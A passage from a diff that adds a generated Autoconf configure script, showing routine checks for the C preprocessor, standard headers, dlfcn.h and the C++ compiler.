or newer; no need for -belf + CFLAGS="$SAVE_CFLAGS" + fi + ;; + +esac + +need_locks="$enable_libtool_lock" + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +{ echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5 +echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6; } +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then + if test "${ac_cv_prog_CPP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Double quotes because CPP needs to be expanded + for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" + do + ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer to if __STDC__ is defined, since + # exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include +#else +# include +#endif + Syntax error +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi + +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi + +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + break +fi + + done + ac_cv_prog_CPP=$CPP + +fi + CPP=$ac_cv_prog_CPP +else + ac_cv_prog_CPP=$CPP +fi +{ echo "$as_me:$LINENO: result: $CPP" >&5 +echo "${ECHO_T}$CPP" >&6; } +ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer to if __STDC__ is defined, since + # exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include +#else +# include +#endif + Syntax error +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi + +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi + +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + : +else + { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details." >&5 +echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +{ echo "$as_me:$LINENO: checking for ANSI C header files" >&5 +echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6; } +if test "${ac_cv_header_stdc+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include +#include + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_header_stdc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_header_stdc=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +if test $ac_cv_header_stdc = yes; then + # SunOS 4.x string.h does not declare mem*, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "memchr" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "free" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. + if test "$cross_compiling" = yes; then + : +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#if ((' ' & 0x0FF) == 0x020) +# define ISLOWER(c) ('a' <= (c) && (c) <= 'z') +# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) +#else +# define ISLOWER(c) \ + (('a' <= (c) && (c) <= 'i') \ + || ('j' <= (c) && (c) <= 'r') \ + || ('s' <= (c) && (c) <= 'z')) +# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) +#endif + +#define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) +int +main () +{ + int i; + for (i = 0; i < 256; i++) + if (XOR (islower (i), ISLOWER (i)) + || toupper (i) != TOUPPER (i)) + return 2; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_header_stdc=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +fi +{ echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 +echo "${ECHO_T}$ac_cv_header_stdc" >&6; } +if test $ac_cv_header_stdc = yes; then + +cat >>confdefs.h <<\_ACEOF +#define STDC_HEADERS 1 +_ACEOF + +fi + +# On IRIX 5.3, sys/types and inttypes.h are conflicting. + + + + + + + + + +for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ + inttypes.h stdint.h unistd.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default + +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + eval "$as_ac_Header=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_Header=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + +for ac_header in dlfcn.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + { echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +else + # Is the header compilable? +{ echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_compiler=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6; } + +# Is the header present? +{ echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi + +rm -f conftest.err conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( cat <<\_ASBOX +## ------------------------------------------------ ## +## Report this to osace-users@lists.sourceforge.net ## +## ------------------------------------------------ ## +_ASBOX + ) | sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + +ac_ext=cpp +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu +if test -z "$CXX"; then + if test -n "$CCC"; then + CXX=$CCC + else + if test -n "$ac_tool_prefix"; then + for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CXX"; then + ac_cv_prog_CXX="$CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CXX="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CXX=$ac_cv_prog_CXX +if test -n "$CXX"; then + { echo "$as_me:$LINENO: result: $CXX" >&5 +echo "${ECHO_T}$CXX" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$CXX" && break + done +fi +if test -z "$CXX"; then + ac_ct_CXX=$CXX + for ac_prog in g++ c++ gpp aCC CC cxx cc++ cl.exe FCC KCC RCC xlC_r xlC +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CXX"; then + ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CXX="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CXX=$ac_cv_prog_ac_ct_CXX +if test -n "$ac_ct_CXX"; then + { echo "$as_me:$LINENO: result: $ac_ct_CXX" >&5 +echo "${ECHO_T}$ac_ct_CXX" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$ac_ct_CXX" && break +done + + if test "x$ac_ct_CXX" = x; then + CXX="g++" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CXX=$ac_ct_CXX + fi +fi + + fi +fi +# Provide some information about the compiler. +echo "$as_me:$LINENO: checking for C++ compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (ac_try="$ac_compiler --version >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler --version >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -v >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -v >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -V >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -V >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +{ echo "$as_me:$LINENO: checking whether we are using the GNU C++ compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU C++ compiler... $ECHO_C" >&6; } +if test "${ac_cv_cxx_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_compiler_gnu=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_cxx_compiler_gnu=$ac_compiler_gnu + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_cxx_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_cxx_compiler_gnu" >&6; } +GXX=`test $ac_compiler_gnu = yes && echo yes` +ac_test_CXXFLAGS=${CXXFLAGS+set} +ac_save_CXXFLAGS=$CXXFLAGS +{ echo "$as_me:$LINENO: checking whether $CXX accepts -g" >&5 +echo $ECHO_N "checking whether $CXX accepts -g... $ECHO_C" >&6; } +if test 